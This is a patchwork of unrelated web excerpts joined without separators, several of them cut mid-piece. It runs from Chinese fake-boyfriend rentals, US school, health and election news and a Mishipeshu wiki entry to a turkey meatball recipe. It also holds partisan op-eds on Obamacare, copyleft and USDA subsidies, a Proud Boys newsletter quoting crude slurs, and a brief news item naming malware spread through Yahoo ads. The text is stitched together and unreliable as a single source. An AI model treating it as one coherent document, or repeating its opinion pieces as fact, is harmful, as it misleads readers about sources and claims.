He insists he is not doing it for the money. Instead, he has more noble pursuits.
"It's an exciting thing to do," he says. "I might find someone who shares my interests and it would make both of us happy."
Thirty women have contacted Li so far, but he says it is tough to find someone who trusts him enough to invite him home for Chinese New Year.
Ironically, Li says he is still waiting for that special someone to answer his advert, admitting, "the best result would be for me to find someone to marry through this".
Looking for Ms Right BBC World Service programme Newshour spoke to one fake boyfriend - who wanted to remain anonymous. I started renting myself online just a few days ago. One reason for doing it is because I want to earn more money - but also I think it might be a good opportunity for me to find my future wife. I'm 30 and from a poor family. I don't have many friends and my social circle is pretty limited due to the type of work I do, so I don't often have the chance to meet new people. My parents always ask me when I'm going to get married, there's a lot of pressure. Chinese society today is very pragmatic - if you want a girlfriend you have to have a car, a house and a decent job. That's why I'm still single. More from Newshour
A crazy idea? Maybe, but even Chinese pop culture has cottoned on to the possibility that a fake boyfriend could morph into a real one.
The hit Chinese TV series "Renting a Girlfriend for Home Reunion" stages the Hollywood romance between a single Chinese man and his fake girlfriend.
Yes, Chinese men hire stand-ins too - often gay men who haven't come out to their families. But Zhou Xiaopeng, the dating consultant, says women are really under the gun to find husbands. Though, eventually, even that might change.
"When people born in 80s or 90s become parents, they won't want to apply the same pressure they endured when they were young," she predicts. "It'll probably take 20 to 30 years."
Texas School Police Officer Slams 12-Year-Old Girl Onto Concrete Floor
A Texas mom told Fox and Friends this morning that she pulled her two kids from an elementary school that restricted parents from walking their children home from school.
Bear Branch Elementary School, part of the Magnolia ISD, reportedly told parents that they could face a trespassing charge if they walk onto school grounds to pick up their children.
Parents, like Wendy Jarman, say that the policy comes from a new principal who is going too far with her new rules.
Despite living five minutes away, Jarman explained that her two children could no longer make the short walk with her.
Jarman has since switched them to a private school, since it was taking them an hour or more to get from the school to their house.
"It just wasn't a good situation for my kids," she said, explaining that officials cite safety as the reason for the new policy.
The school district, in a statement, said no parents are being arrested for coming onto the campus to pick up children.
The district said the "handful" of parents who want to walk their children home must wait until all cars and buses depart.
Jarman said parents have indeed been threatened with arrest by officers enforcing the policy.
Watch the interview above and let us know what you think of this story!
Mom Furious Over 'Privilege' Survey Teacher Gave 7th-Grader
Cops Use 'Streetbike vs. Police' Video to Nab Biker After 140 MPH Chase
For now, Vuse has only two flavors, original cigarette flavor and menthol, but the market is changing quickly as evidenced by the experience of other leading e-cigarette companies. Most notable is the experience of NJOY, which has turned to flavors to help stanch plummeting market share.
Ten months ago, NJOY’s chief executive, Craig Weiss, said in an interview that other manufacturers used flavorings “to attract children.” NJOY, he said then, was avoiding candy- and fruit-like flavorings, in part because “they drive regulators crazy.”
Image A growing number of e-cigarette users are ordering their products online and in specialized stores, instead of convenience stores. Credit Joe Raedle/Getty Images
NJOY’s investors include Sean Parker, the Napster co-founder and former president of Facebook, and Bruno Mars, the pop star.
But NJOY’s share of the convenience store market has gone into free fall, dropping more than half in the last year to less than 10 percent, according to Wells Fargo Securities. Consumer surveys suggest that most people who use e-cigarettes — including those who have smoked — tend to prefer flavors other than tobacco. In the next few weeks, NJOY plans to expand into flavors like “Butter Crumble” and “Black and Blue Berry.” Mr. Weiss said in an interview that the company had little choice after focus groups showed that flavors were “critical.”
“Flavor is essential to vapers’ satisfaction,” Mr. Weiss said. He added that research funded by his company showed that flavors “provide no additional appeal to youth.”
Image Flavors like “Banana Split,” are more popular than traditional tobacco tastes. Credit Nick Oxford for The New York Times
Enlarge this image Vicente Barcelo Varona/iStockphoto.com Vicente Barcelo Varona/iStockphoto.com
OK, so your mom was right.
It turns out that moving in with that special someone without getting married first puts you at very high risk for an unplanned pregnancy.
That's one of the key findings of a new report from the Guttmacher Institute.
The report found that overall, "the United States did not make progress toward its goal of reducing unintended pregnancy between 2001 and 2006." In fact, the rate was 49 percent in 2006, virtually unchanged from 48 percent in 2001.
But the highest rate of unintended pregnancy of all the subgroups studied occurred among "cohabitors," or, to use the vernacular, women who were shacking up.
The largest increase of unintended pregnancies occurred in cohabitators under age 25.
Indeed, those most likely to experience an unintended pregnancy were women aged 20-24.
A fact that may surprise some is that teens aged 15-17 were one of the few groups for whom the unintended pregnancy rate actually dropped.
Using a variety of government and other statistics, Guttmacher researchers found that 5 percent of all women of reproductive age experienced an unintended pregnancy in 2006.
About 43 percent of those pregnancies ended in abortion, down slightly from 47 percent in 2001.
Researchers also found a widening gap based on race and income. African-American women had the highest unintended pregnancy rate — more than twice as high as non-Hispanic white women.
Also, the rate of unintended pregnancies among low-income women rose, leading the researchers to conclude: "the rate for poor women was more than five times the rate for women in the highest income level."
Meanwhile, women of greater means experienced fewer unintended pregnancies between 2001 and 2006.
Cecile Richards, President of Planned Parenthood, which is no longer affiliated with the Guttmacher Institute, said in a statement that the report shows why the federal government should proceed with a recent plan to make birth control more affordable for those with health insurance.
"The take-home message is clear," Richards said. "We need to do more to prevent unintended pregnancy, and access to affordable birth control is one significant way to do that."
Mishipeshu translates into "the Great Lynx". It has the head and paws of a giant cat but is covered in scales and has dagger-like spikes running along its back and tail.[not verified in body] Mishipeshu calls Michipicoten Island in Lake Superior his home and is a powerful creature in the mythological traditions of some Native American tribes, particularly Anishinaabe tribes, the Odawa, Ojibwe, and Potawatomi, of the Great Lakes region of Canada and the United States.[1][2] In addition to the Anishinaabeg, Innu also have Mishibizhiw stories.[3]
To the Algonquins, the underwater panther was the most powerful underworld being. The Ojibwe traditionally held them to be masters of all water creatures, including snakes. Some versions of the Nanabozho creation legend refers to whole communities of water lynx.[4]
Some archaeologists[who?] believe that underwater panthers were major components of the Southeastern Ceremonial Complex of the Mississippian culture in the prehistoric American Southeast.[5][6]
Name [ edit ]
In the Ojibwe language, this creature is sometimes called Mishibizhiw, Mishipizhiw, Mishipizheu, Mishupishu, Mishepishu, Michipeshu,[1] or Mishibijiw, which translates as "Great Lynx",[7] or Gichi-anami'e-bizhiw ("Gitche-anahmi-bezheu"), which translates as "the fabulous night panther".[2][8] However, it is also commonly referred to as the "Great underground wildcat" or "Great under-water wildcat."[3][9] It is the most important of the underwater animals for the Ojibwa.[10]
Description [ edit ]
In mythologies of the indigenous peoples of the Great Lakes, underwater panthers are described as water monsters that live in opposition to the Thunderbirds,[12] masters of the powers of the air. Underwater Panthers are seen as an opposing yet complementary force to the Thunderbirds, and they are engaged in eternal conflict.[11]:60
Underwater panther was an amalgam of features from many animals: the body of a wild feline, often a cougar or lynx; the horns of deer or bison; upright scales on its back;[11]:207 occasionally feathers; and parts from other animals as well, depending on the particular myth. Underwater panthers are represented with exceptionally long tails,[11]:59 occasionally with serpentine properties.[11]:60 The creatures are thought to roar or hiss in the sounds of storms or rushing rapids.[12]
Mishipizheu were said to live in the deepest parts of lakes and rivers, where they can cause storms.[11]:60 Some traditions believed the underwater panthers to be helpful, protective creatures, but more often they were viewed as malevolent beasts that brought death and misfortune. They often need to be placated for safe passage across a lake.[12] As late as the 1950s, the Prairie Band of Potawatomi Indians performed a traditional ceremony to placate the Underworld Panther and maintain balance with the Thunderbird.[4]
When ethnographer Johann Georg Kohl visited the United States in the 1850s, he spoke with a Fond du Lac chief, who showed Kohl a piece of copper kept in his medicine bag. The chief said it was a strand of hair from the mishibizhiw, and thus considered extremely powerful.[2]
Copper [ edit ]
Mishipeshu is known for guarding the vast amounts of copper in Lake Superior and the Great Lakes Region. Indigenous people mined copper long before the arrival of Europeans to the area. Later, during the 17th century, missionaries of the Society of Jesus arrived in the Great Lakes Region. By that time, swiping copper from the region was extremely taboo and forbidden by the Ojibwa tribe. It was even worse to take it from the Great Lynx's home, Michipicoten Island; this was considered to be stealing from Mishipeshu himself.[13]
Close encounters [ edit ]
There are a few stories of encounters with this great beast. A Jesuit missionary named Claude Dablon told a story about four Ojibwa Indians who embarked on a journey to the home of Mishipeshu to take some copper back to their home, and use it to heat water. The very second they pushed off and backed into the water with their canoe, the eerie voice of the water panther surrounded them. The water panther came growling after them, vigorously accusing them of stealing the playthings of his children. All four of the Indians died on the way back to their village, the last one surviving just long enough to tell the tale of what had happened in his final moments before he died.[14]
Depictions in art [ edit ]
The underwater panther is well represented in pictograms. Historical Anishnaabe twined and quilled men's bags often feature an underwater panther on one panel and the Thunderbird on the other.[11]:59 Norval Morrisseau (Ojibwe) painted underwater panthers in his Woodlands style artworks, contemporary paintings based on Ojibwe oral history and cosmology.[11]:207[12] The emblem has been embellished, and appears as a decorative motif on muskets.[15]
The Canadian Museum of History includes an underwater panther in its coat of arms.[12]
In 2003, archaeologist Brad Lepper suggested that the Alligator Effigy Mound in Granville, Ohio represents the underwater panther. Lepper posits that early European settlers, when learning from Native Americans that the mound represented a fierce creature that lived in the water and ate people, mistakenly assumed that the Native Americans were referring to an alligator.[16]
In popular culture [ edit ]
The Grimm episode "Mishipeshu" involves the possession of a young Native American by an underwater panther.
See also [ edit ]
Obamacare, by not only destroying the private insurance marketplace over the long-term, but by also leading to the destruction of free-market medical care, may very well lead to government-run or “socialized” medicine. But, as horrible as that prospect is, it is not the message that is most effective for either delaying the implementation of the law, or in its repeal.
Fundamentally, Obamacare was supposed to do one thing: it was promised as the Democrats’ solution for providing health CARE to millions of Americans who apparently did not have it. But it was premised on a lie: Obamacare doesn’t provide “care” to anyone. It provides insurance. And “insurance” is not “health care” (technically, it’s not even “insurance”—something you invest in to hedge against some future catastrophe).
Health insurance in America is essentially a “cost-sharing subscription service”, a piece of paper that says that you (or someone else) is paying for your potential access to a group of health care providers, and the costs are spread out over thousands of subscribers. But the legitimacy of that piece of paper is predicated on both someone accepting that piece of paper—and medical providers are no longer accepting that particular piece of paper, or the providers that do, can no longer accept more patients, then that piece of paper is worthless. I could hand everyone in America a piece of paper that says they have full coverage under “Andrew Langer’s Health Insurance, Co.” and it would be meaningless since I have no ability to actually deliver health care to people.
This is the scam. Obamacare does not, and cannot work. Not only does it not address the fundamental issues driving both costs and access to health care, it actually exacerbates the underlying factors, leading to an acceleration in the decline of the health care industry in America.
So while the media focuses on the increase in health insurance premiums, which was expected as the industry attempted to ameliorate risk in the near term before their industry is eviscerated over the long term, they are missing the bigger picture, which is too bad because it is a story even the most economically-ignorant journalist can grasp.
Health care in America is a basic macroeconomic problem: supply, demand, and price. As supply decreases and demand increases price naturally rises. And supply is declining—especially in areas of basic, primary diagnostic care (the most important part of a public health policy equation—ensuring that people have a general practitioner that they can see for their wellness exams).
The only way you can increase access to a good and drive down the price for that good is to increase the supply. Not of insurance, but of health care itself. As I said, health insurance is meaningless without the providers to back it up (kind of like currency not backed up by anything of real value). This means creating more providers: doctors, nurses, and physicians assistants.
But Obamacare doesn’t do that. It never did that. Instead it does two key things guaranteed to destroy the practice of medicine:
First, Obamacare drives up patient panels, exacerbating both quality of life issues and problems with liability that physicians face. This, too, is axiomatic. When you drive up demand in an era of declining supply, at supply is constrained. There are a limited number of hours in a day, a limited number of hours in a year. Since Obamacare’s goal was to insure uninsured Americans, this means that the goal of Obamacare was to drive up demand (by something on the order of 20%).
In an era in which medical practices are constrained by having to sandwich appointments into 20 minute increments, a 20% increase in the number of patients handled by a practice means that those appointment times are reduced by 20%--meaning that a 20 minute appointment is now limited to just over 15 minutes!
Second, and more problematic from a health policy standpoint, is the impact that this has on the ability to effectively practice medicine. As difficult as it is to assess a patient’s condition in the compressed appointments already being practiced, short-changing that patient on more appointment time means that the potential for something to be missed rises considerably. Not only does this drive up potential costs, but it opens the health care provider to greater malpractice liability.
So, as the risks of getting sued go up (with no liability reform for doctors thanks to Democrat stonewalling), and as doctors are under increased pressure from simply seeing more patients, you see major quality of life issues creating severe disincentives that serve to discourage young people from pursuing careers in medicine (especially in basic, primary diagnostic care, the core of our health care system), while at the same time you see doctors leaving medical care in ever-increasing numbers.
The decline in supply accelerates!
Now, in the real universe in which we all live, when supply declines and demand increases, the natural result is that prices rise. But since Obamacare’s supposed goal is to keep insurance prices down, the only way to do that is to drive down provider reimbursement rates.
Let me underscore this: you will have fewer doctors, seeing more patients, with increased professional risk (and increased practice costs thanks to other aspects of Obama’s legacy, but that’s a separate issue), and medical care providers are going to be paid less!
This effectively destroys health care in America, since very few people want to enter a profession where you work harder and at greater risk for ever-declining amounts of money. Even altruists won’t enter a profession where their fear of getting sued outweighs any sense of desire to help others.
The only way to do what the left wants: to increase access to health care while driving down the cost of care is to create more care. This means fixing the problems underlying the practice of medicine: who can practice, cost of medical education, regulatory burdens, paperwork costs, and liability reform. Reform those, and you’ll create more medical practitioners. By creating more medical practitioners, and you can have a competitive market in medical care. Have a competitive market in medical care and the price that people pay goes down.
But to offer people a piece of paper and claim that you’re giving them medical care when you aren’t is a lie. It is a fraud. It is, in other words, a scam.
The moral message isn’t that Obamacare is socialism or anti-freedom. It may be those things. But fundamentally, it is immoral to lie to the American people and claim that you’re solving a problem when you are, in fact, making that problem worse. It is immoral to commit a massive fraud on the American people in the name of politics.
Most free open source software was released under the GNU General Public License (GPL). This was somewhat jokingly referred to as copyleft rather than copyright. I say that this ecosystem of software and the community that formed around it was essentially communistic because, under these licenses, anyone who created derivative works from the source code found in the GPL ecosystem was and still is required to share the product of their labor with the rest of the community. Whereas copyright is aimed at excluding everyone else from using one’s product (here code), copyleft is aimed at preventing anyone else from excluding people from their product. When you use copyleft, you aren’t just sharing your code with everyone; rather, you are requiring everyone who uses it to also share their code with everyone under the same terms. The license acts as a viral contagion that progressively swallows up more and more code into the communist ecosystem.
The viral nature of these licenses, hotly complained about in some circles, made it such that, in theory at least, as the body of GPL software grew, it would become harder and harder for new coders to actually exclude what they produced. Because the GPL software was free and very good, decisional dynamics would mean they’d end up using existing GPL software as a starting point for their projects and modify its source code for their own ends, rather than creating everything from scratch (for an example of this, see Android from Google). This would mean that whatever they produced would be a derivative work that they were required, under the terms of the GPL, to share back to the community. So, it truly is a kind of self-reinforcing coding communism.
It turned out to be a wildly successful strategy, at least among software used by the development community (such as the software that runs our modern web and app services). By making the software free and open source, everyone who was interested could participate and make changes. Tens of thousands of competent hobbyist eyeballs were able to spot problems, suggest and implement improvements, and in a kind of evolutionary manner, create really high quality, free software. What’s more, the ever-growing body of high-quality, free software made outside proprietary entrants basically impossible. Would-be proprietary efforts simply couldn’t compete with the free open source alternatives, and open source programmers could usually reverse-engineer any must-have feature proprietary software companies put out.
Not only did this communistic ecosystem of software beat out proprietary competitors, but it has also had the effect of dramatically reducing barriers to web and app innovation. The source code is already there for you to innovate off of, if that’s your thing. But more importantly, because the software that runs web stacks is free, it costs almost nothing to create a new service with them. If the software that comprised modern web stacks was proprietary, not only would they be less flexible to use and modify, but they’d be super-expensive. There’d be extraordinary cost barriers to actually putting out a new website or app service. This would be especially prohibitive for the kind of in-the-dorm-room experimental products that people really idolize. Those products are only able to be realistically tried out in the first place because of the nearly free and frictionless development environment created by free open source software. Put simply: if you had to shell out, say, $3,000 to buy licenses to web stacks, a lot of web services people try to float out there would have been dead before they even started.
The timing is unusual in that New Jersey will hold its gubernatorial election, in which Mr. Christie will be on the ballot, just three weeks later on Nov. 5. Under state law, Mr. Christie could have arranged for the Senate election to be held on the same day. (He could also perhaps have delayed it until November 2014, although that would have relied on a more controversial interpretation of the state’s statutes.)
One theory is that Mr. Christie is concerned about anything that might interfere with his chances of re-election or suppress his margin of victory. If so, however, the timing of the special election would qualify as exceptionally risk averse, especially for a politician who has a reputation for taking chances. Mr. Christie has an overwhelming lead in polls against the likely Democratic nominee, State Senator Barbara Buono, and he remains extremely popular in New Jersey. There is always a chance that news or political events could intervene between now and November to harm his standing, but his losing the race would be one of the greatest political collapses in recent memory.
Mr. Christie might also be interested in helping Republican candidates for the State Legislature. Democrats control both the Senate and the Assembly, but all seats will be up on the Nov. 5 ballot. With a popular Republican governor heading the ticket and no interference from the United States Senate race, the G.O.P. might have a better chance of winning one or both chambers.
Of course, Mr. Christie could also have used his coattails to help his party’s United States Senate nominee. His move might suggest that his ambitions remain mainly in New Jersey, and less on the national stage. Then again, being re-elected — and having a more successful second term with less Democratic opposition in the State Legislature — could also leave him in a stronger position were he to run for president in 2016.
The implicit thread between all these hypotheses is that Mr. Christie seems to view the Senate contest as a liability. As I wrote on Monday, a strong G.O.P. nominee could potentially make the race competitive, although the Republican would probably remain an underdog. But with a lackluster candidate in a blue-leaning state, the Republicans would be all but conceding the race to Mayor Cory Booker of Newark, the most likely Democratic nominee, who has strong favorability ratings in the state and is expected to build a robust and expensive campaign operation.
While some national Republicans are annoyed with Mr. Christie’s decision, they may not be privy to all the information he had about which Republican candidates might have been interested in Mr. Lautenberg’s seat. It’s plausible that Mr. Christie could have helped a reasonably good G.O.P. nominee to a narrow victory. But if none were interested in the race, it may have been a lost cause.
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The Scientific Basis | Breast Cancer | Vegan Political Action | Health Discussion Board T wo Political Goals to Advance the Vegan Position
by
William Harris, M.D. In a nutshell: the vegans have all the arguments, but the animal-source food biz has all the money. And it's our money. Here are two political goals which would redress this problem. Goal #1.
Eliminate USDA subsidies and allow food
production to accurately reflect market demand. Pamela Rice at Viva Veggie has tracked the spoor of Dan Glickman, secretary of the USDA, in 1998: Glickman bought $30 million of beef, $30 million of pork, $8 million of lamb, $18 million of poultry, and $10 million of salmon using our tax moneys. This was in addition to the $141 million of beef purchased by the USDA for the 1997-98 school lunch program. There's also an $11 million program to give dairy producers in selected counties a financial incentive to "use options to manage their price risks." Here are Glickman's rationalizations: "This bonus buy supports the beef industry by bolstering producer prices. The beef roasts purchased today will be used for distribution in the National School Lunch Program and other food assistance programs."
"Dairy farmers are facing tough times these days."
"The lamb industry has been under pressure ... these additional lamb purchases will help offset the surplus supply of lamb which is depressing prices to producers."
"... to help improve prices for cattle producers and the livestock industry. "
"Our purchase of salmon not only assists fisherman facing low prices but also recipients of our food assistance programs."
"...maintain prices and improve nutrition in the school lunch program." Decoded: Cave in to political pressure from the animal food biz, which has always faced "tough times" and has never been satisfied with its "depressing prices", and dump the surplus on the kids and the poor people. Total giveaways: $248 million of our tax moneys to shore up the production of foods that can't make it on the free market. The USDA gives new meaning to the term "pork". As of June 5, 1998 Glickman's predecessor, Mike Espe, was facing Federal charges that Tyson Foods lobbyists gave him $12,000 worth of gifts to influence U.S. Agriculture Department regulations. From 1986 to 1994 USDA "Deficiency Payments" averaged $7 billion per year. By the provisions of the 1996 Farm Bill they are now called "Production flexibility contract payments" and they will average $5.2 billion/year to the year 2002. (1) Most of the money will go to feed grain production or to crops with byproducts that can be transformed into feed grain, so the animal food biz is here getting additional but de facto government freebies. Where did the idea originate that food production must be underwritten by the government? One certainty in life is that people must eat and will eat, and that farmers will grow the foods that people want to eat and are willing to pay for. Decisions on what to eat are normally made on the basis of taste, habit, nutritional value, and cost, but then our government steps in and distorts the market by making animal foods look cheap. Goal #2.
Eliminate tax deductions for health-sensitive advertising. Tobacco is used here as a good example, but whenever it's mentioned just substitute the words meat, eggs, poultry, and dairy because the same arguments apply. The U.S. tobacco industry does about $5 billion/year in tobacco advertising (2.) and since its corporate tax rate is about 33%, the deduction saves the industry roughly .33x$5 billion or $1.65 billion/year. The lost revenue is made up by the taxpayers. State-by-state advertising bills for tobacco are not known, but it is also a state tax-deductible expense.
From IRS Form 1120, the math appears to be the following:
S=savings to tobacco industry from advertising tax deductions
T=tax rate
I=corporate income
A=advertising costs
then: S=T x I-T x (I-A) = T x I-T x I+T x A =T x A If T=33% and A= $5 billion, then S=33%x$5 billion=$1.65 billion
And how d'ye like payin' the wee lads to tell lies to the kiddies?
"Well, why carp over another government giveaway," I hear you ask. It's because the animal food biz plows the profit margins it gets from USDA handouts into tax-deductible advertising and nutritional misinformation that ties up the media and the educational system and freezes the veg*n position out. See how far you'll get on ad-dependent TV when your arguments are bordered by puffs for MacDonalds and Burger King. Try veg*n lecturing at a university where the nutrition department is taking money from the National Dairy Council. Many writers, a few vegetarian, have condemned the USDA price support system (3.). To my knowledge, no one has considered the implications of advertising tax deductions. Eliminating both would save money and is intuitive and logical: liars should not be paid to teach. Refs
(1) Economic Research Service, USDA
1996 Farm Act Increases Market Orientation
AIB-726
(2.)Bartecchi CE, MacKenzie TD, and Schrier RW.
The Global Tobacco Epidemic
Scientific American
May 1995 p50
(3.) Bovard, James.The Farm Fiasco. How federal agriculture policy
squanders billions of dollars a year, sacrifices the poor to the rich, and
gives congressmen and bureaucrats vast arbitrary powers over American
citizens. Institute for Contemporary Studies. San Francisco, 1989. ISBN
Meatballs make the perfect finger food and are so much fun to eat. Put them on a platter with toothpicks or serve them on small buns to make sliders and you have yourself a party!
I really love Italian meatballs and spaghetti, who doesn’t, but why not get creative and experiment with different meat, herbs and seasoning.
These meatballs are made with ground turkey, cilantro, jalapeño peppers, scallions, garlic and cumin which I served with a Creamy Cilantro Tomatillo Dipping Sauce. If you prefer them spicy, leave the seeds in, or play around with different peppers like serrano, poblano, or habaneros.
5 / 5 ( 1 Reviews Did you make this recipe? Leave a review » Southwest Turkey Meatballs Meatballs make the perfect finger food and are so much fun to eat. Put them on a platter with toothpicks or serve them on small buns to make sliders and you have yourself a party! Ingredients: 1-1/4 lbs 99% lean ground turkey
1 jalapeño, seeds removed (leave some in for spicier meatballs)
2 cloves garlic
1/4 cup chopped fresh cilantro
3 scallions
1/4 cup seasoned bread crumbs
1 egg
1 tsp cumin
pinch oregano
salt and fresh pepper
cooking spray
Creamy Cilantro Tomatillo Dipping Sauce (optional for dipping) Directions: Lightly spray baking pan with oil. Preheat oven to 400°. Place jalapeño, garlic, cilantro, and scallions into a small food processor or chopper and pulse a few times until finely minced. In a large bowl combine turkey, chopped herbs, bread crumbs, egg, cumin, salt and pepper. Using your hands, mix well and measure 1/4 cup meat, then divide in two so you end up with each meatball 1/8 cup in size. Roll and place on a baking pan. Bake meatballs at 400° 15 minutes. Makes 24 meatball. Nutrition Information Yield: 12 servings, Serving Size: 2 meatballs Amount Per Serving:
Freestyle Points: 0
Points +: 2
Calories: 67 calories
Total Fat: 2g
Saturated Fat: g
Cholesterol: mg
Sodium: mg
Carbohydrates: 2.5g
Fiber: 0.5g
Sugar: g
Will Sommer Blocked Unblock Follow Following Feb 5, 2017
Excerpted from Right Richter, a weekly newsletter on right-wing media.
The first-ever Right Richter Special Report covers the phenomenon that is the Proud Boys adult “Western chauvinist” fraternity. It’s like Old School, but with uncomfortable racial and sexual subtext!
I suspect that the Proud Boys will soon get a good amount of media attention, now that antifascist protesters crashed their founder’s NYU speech last week. Unlike many alt-right developments that have scored press, the Proud Boys actually do have members who show up to real-life events.
Be warned, though: this is a mindbender. As one right-wing critic of the Proud Boys said in a video explaining their rules: “I shouldn’t know about any of this… I can’t relate to anyone in my life anymore.”
Consider the Proud Boy: An angular young white man stands in what looks like a poorly decorated frat house.
“Ready, go…Cheerio!” he says, before getting punched in the face.
A friendly beating ensues. He’s well on his way to being a Proud Boy.
(Update: The Proud Boy initiation video above went private, but here’s footage of a second-degree initiation.)
Proud Boys Origins: Where does a young man looking for fellowship turn to in a world where, according to some, masculinity is a sign of shame? To hear Vice co-founder turned neo-masculine reactionary Gavin McInnes tell it, the answer is the Proud Boys, a “pro-West fraternal organization.”
Launched last year by McInnes, the Proud Boys take their name and #POYB hashtag from “Proud of Your Boy,” a song in the Aladdin musical.
Aladdin apologizes to his mother for his rascally ways. When McInnes heard the song at a school recital, though, he thought that no one could truly be proud of a boy singing such an apologetic song. McInnes, a newly former Fox News contributor who says he quit the network because it wasn’t conservative enough, now looks to move the Proud Boys from his own fan club to something more significant.
The Life of a Proud Boy: Today the Proud Boys’ public Facebook group has thousands of fans, with several requests daily for admission to the private Facebook group.
They’re starting to make news — Proud Boys scrapped with antifascist protesters at one of McInnes’s speeches, and one account from “antifa” activists describes Proud Boys in “Make America Great Again” hats brawling with protesters at the Berkeley riots outside a Milo Yiannopoulos last week. A Proud Boy apparently got roughed up in the action.
The Proud Boys operate on tenets that McInnes has been pushing in his second career as a right-wing provocateur: unapologetically rowdy and pro-Trump, the Proud Boys operate under the credo that “the West is the best.”
The Proud Boys welcome gay and non-white members — as long as people of color who hope to be Proud Boys “recognize that white men are not the problem.” Other Proud Boy doctrines are similarly politically conservative and lame, including “glorify the entrepreneur” and “venerate the housewife.”
What a World: The Proud Boys were thrilled with Trump’s election:
Proud Boy Ethos: Being a Proud Boy seems to be mostly about getting drunk and shoving antifascists. A Politico video shot on inauguration weekend sums up what a Proud Boy meet-up is like: weird pseudo-intellectual stuff and street scuffling with leftists. McInnes reads from Pat Buchanan’s Death of the West, leads the Proud Boys on a march to the Deploraball — and licks a protester’s face along the way.
The rambunctious but socially awkward vibe is very odd-kid-in-middle-school-who-isn’t-really-a-nerd, or guy-who-got-into-a-fraternity-only-because-he’s-a-legacy. Which leads us to…
The Masturbation Thing: A recurring trope on various parts of the fix-your-life internet, whether it’s Reddit’s “nofap” page or pick-up artist forums, is the idea that abstaining from masturbating will bring about a wholesale life change.
McInnes promotes a similar idea called “#nowanks,” saying that masturbating more than once a month drains one’s interest — especially for millennials — in sex. The caveat: Proud Boys can always masturbate within a yard of a woman, with her consent.
Proud Boy Initiation: Proud Boys membership operates on three degrees. The first is just declaring yourself an “out” Proud Boy. The third is getting a Proud Boy tattoo — in a prescribed font, naturally — and keeping with the masturbation regimen.
Getting a shot (or not!) at the third level, though, means running a true gauntlet at the second: the cereal punching. In this initiation, Proud Boys enthusiasts punch a hopeful (albeit not around the face or testicles) while he cries out the names of cereals.
You must get the crap beaten out of you by at least five guys until you can name five breakfast cereals. If you hammer out, “Chex, Cheerios, Rice Krispies, Corn Flakes, and Special K” in a matter of seconds, you’re free to go. If you get flummoxed by the punches and cannot think straight, well, sorry, you’re going to get pounded.
This sounds like nonsense, but it’s real.
Proud Boy “Culture”: The Proud Boys have a uniform — a black Fred Perry polo shirt with yellow stripes. (Coincidentally or not, Fred Perry is also a popular brand for skinheads.) They have a catchphrase, “uhuru,” a slogan they cribbed from a video calling for reparations over slavery.
They also have a fan song that centers on the “Uhuru” refrain, and it’s weirdly catchy.
Proud Boy Feuds: Naturally, an alt-right, all-male movement is riven with feuds, both internal and external.
Despite how bizarre their politics can look from outside of Trump circles, the Proud Boys actually fall on the moderate side of the alt-right.
On far more extreme sites like the Daily Stormer, writers blast McInnes as a “cuck” for refusing to discuss the “JQ.” That’d be the “Jewish Question,” or the deranged idea that a Jewish conspiracy runs the world.
One video, shot in a mocking take on the Proud Boys usual throwback 1980’s style, summarizes what Nazis don’t like Proud Boys:
“We’re the Proud Boys, we don’t talk about race / I even let a black guy fuck my wife in my place. Don’t talk about Jews. Please, don’t talk about Jews. Please.”
What to Make of the Proud Boys: I think the Proud Boys are too weird to ever become more than an oddball off-shoot of the alt-right. Their name is terrible, and who wants to hand over their sexual activities to Gavin McInnes?
Recent report published by Fox-IT, Hackers are using Yahoo's advertising servers to distribute malware to hundreds of thousands of users since late last month that affecting thousands of users in various countries.
Clients visiting yahoo.com received advertisements served by ads.yahoo.com. Some of the advertisements are malicious," the
More than 300,000 users per hour were being redirected to malicious websites serving 'Magnitude Exploit Kit', that exploits vulnerabilities in Java and installs a variety of different malware i.e.
ZeuS
Andromeda
Dorkbot/Ngrbot
Advertisement clicking malware
Tinba/Zusy
Necurs "It is unclear which specific group is behind this attack, but the attackers are clearly financially motivated,"
Based on the same sample, the countries most affected by the exploit kit are Romania, Great Brittain and France. At this time it’s unclear why those countries are most affected, it is likely due to the configuration of the malicious advertisements on Yahoo. ," the firm reported More than 300,000 users per hour were being redirected to malicious websites serving 'Magnitude Exploit Kit', that exploits vulnerabilities in Java and installs a variety of different malware i.e.According to the researchers, approximate 9% users of total visits per hour i.e. 27,000 users per hour, were being infected.
It’s not quite the case that every article in that newsfeed is about sex, just most of them. Take away all the obituary pieces remembering the white male worthies who once served as president/founder of various ministries in this rapidly graying subculture and much of what’s gleaned in CT’s “Gleanings” blog is just a long list of sex stories — affairs, divorces, scandals, birth control, abortion, unhidden horror at unhidden LGBT people, worried reports of licentious societal decline, surveys alleging the sexual apostasy of youth, and various other articles lamenting that human bodies include any parts within the strike zone.
Some of that is to be expected, of course. “Social conservatives” have always been sex-obsessed moral scolds, convinced that kids these days are exhibiting the signs of moral decline with their promenading and that hip-shaking race-music they learned from Elvis. Aron. Presley.
But the sex stories of Christianity Today are also stranger than that. There’s usually also something unexpected — something just a little bit off and a few degrees askew. These sex stories have an uncanny quality.
I mean that precisely. I’m thinking of the theory of the “uncanny valley,” the idea that “when features look and move almost, but not exactly, like natural beings, it causes a response of revulsion among some observers.” This is why clowns, realistic mannequins, Final Fantasy animation, and ventriloquist dummies can creep people out. And it’s also why there’s something disturbing about the almost-but-not-quite-human sexual ethics being defended — if never quite articulated — in all those sex stories at CT.
Let’s look at our first example: “A Christian College President Falls.”
The college in question is a small, two-year Southern Baptist school in South Carolina. It turns out the president was having an affair with another member of the school’s staff. As a result, he was forced to step down — with the school ham-handedly trying to cover up the reason for his sudden resignation by claiming it was due to his “health.”
This isn’t really much of a story. Most people have never heard of this guy before — heck, most people have never heard of this college before. And there’s nothing particularly unusual or newsworthy about this man’s infidelity, or even about the glass-houses hypocrisy of his affair.
The one interesting element here is the way this man’s affair was revealed — post-resignation and hush-up attempt — by a video shot by his own son and then posted on YouTube. There’s fodder there, I think, for someone looking to write a script deconstructing those 20th-century novels of adulterous academics written by people like John Updike — retelling that cliché from the perspective of the betrayed spouse or children. But this “news” story still isn’t really any of our business. It’s not really news.
So to play up the claim that this is newsworthy, CT tries to portray this man’s “fall” as part of a trend affecting all of society. But here’s where we find that uncanny twist. That larger trend, in CT’s view, doesn’t have anything to do with the ongoing pattern of repressed social conservatives exposed for the hypocrisy of their private lives. Of course not. For CT, the trend can only be the same trend they see everywhere — the narrative of decline that sees libertine liberals threatening to turn America into Sodom due to their no-co-pay birth control and their equality under the law for LGBT people.
Thus we get the weird, aggressively dishonest framing of the story in CT’s subhed: “Video of apparent affair surfaces as Christian higher education leaders are debating sexual ethics standards.”
